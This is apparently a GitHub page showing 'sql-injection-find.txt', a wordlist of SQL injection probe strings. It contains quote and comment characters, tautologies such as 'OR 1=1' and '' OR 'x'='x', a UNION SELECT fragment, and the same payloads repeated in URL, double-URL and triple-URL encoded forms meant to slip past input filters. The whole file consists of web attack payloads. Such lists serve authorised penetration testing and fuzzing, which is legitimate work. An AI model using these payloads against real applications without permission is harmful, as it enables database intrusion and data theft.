-
Notifications
You must be signed in to change notification settings - Fork 3
/
sql-injection-find.txt
114 lines (111 loc) · 1.96 KB
/
sql-injection-find.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or #
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
#URL encoded
%27
%27%27
%60
%60%60
%2C
%22
%22%22
/
//
%5C
%5C%5C
%3B
%27%20or%20%22
--%20or%20%23
%27%20OR%20%271
%27%20OR%201%20--%20-
%22%20OR%20%22%22%20%3D%20%22
%22%20OR%201%20%3D%201%20--%20-
%27%20OR%20%27%27%20%3D%20%27
%27%3D%27
%27LIKE%27
%27%3D0--%2B
OR%201%3D1
%27%20OR%20%27x%27%3D%27x
%27%20AND%20id%20IS%20NULL%3B%20--
%27%27%27%27%27%27%27%27%27%27%27%27%27UNION%20SELECT%20%272
%2500
#Double URL encoded
%2527
%2527%2527
%2560
%2560%2560
%252C
%2522
%2522%2522
/
//
%255C
%255C%255C
%253B
%2527%2520or%2520%2522
--%2520or%2520%2523
%2527%2520OR%2520%25271
%2527%2520OR%25201%2520--%2520-
%2522%2520OR%2520%2522%2522%2520%253D%2520%2522
%2522%2520OR%25201%2520%253D%25201%2520--%2520-
%2527%2520OR%2520%2527%2527%2520%253D%2520%2527
%2527%253D%2527
%2527LIKE%2527
%2527%253D0--%252B
OR%25201%253D1
%2527%2520OR%2520%2527x%2527%253D%2527x
%2527%2520AND%2520id%2520IS%2520NULL%253B%2520--
%2527%2527%2527%2527%2527%2527%2527%2527%2527%2527%2527%2527%2527UNION%2520SELECT%2520%25272
%252500
#Triple URL encoded
%252527
%252527%252527
%252560
%252560%252560
%25252C
%252522
%252522%252522
/
//
%25255C
%25255C%25255C
%25253B
%252527%252520or%252520%252522
--%252520or%252520%252523
%252527%252520OR%252520%2525271
%252527%252520OR%2525201%252520--%252520-
%252522%252520OR%252520%252522%252522%252520%25253D%252520%252522
%252522%252520OR%2525201%252520%25253D%2525201%252520--%252520-
%252527%252520OR%252520%252527%252527%252520%25253D%252520%252527
%252527%25253D%252527
%252527LIKE%252527
%252527%25253D0--%25252B
OR%2525201%25253D1
%252527%252520OR%252520%252527x%252527%25253D%252527x
%252527%252520AND%252520id%252520IS%252520NULL%25253B%252520--
%252527%252527%252527%252527%252527%252527%252527%252527%252527%252527%252527%252527%252527UNION%252520SELECT%252520%2525272
%25252500